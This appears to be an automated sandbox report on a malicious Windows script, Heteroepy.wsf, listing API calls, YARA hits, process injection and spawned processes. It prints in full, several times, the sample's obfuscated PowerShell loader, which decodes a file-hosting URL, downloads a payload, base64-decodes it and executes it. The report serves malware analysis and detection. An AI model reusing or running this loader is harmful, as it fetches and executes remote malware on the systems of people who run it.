ShellExecuteExW Nov. 27, 2024, 12:32 p.m.	show_type: 0 filepath_r: POWERSHELL parameters: ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;" filepath: POWERSHELL	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Nov. 27, 2024, 12:32 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 27, 2024, 12:32 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	POWERSHELL ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;"
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3012 resumed a thread in remote process 2276
NtResumeThread Nov. 27, 2024, 12:32 p.m.	thread_handle: 0x00000364 suspend_count: 1 process_identifier: 2276	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (2 events)

cmdline

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Heteroepy.wsf

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All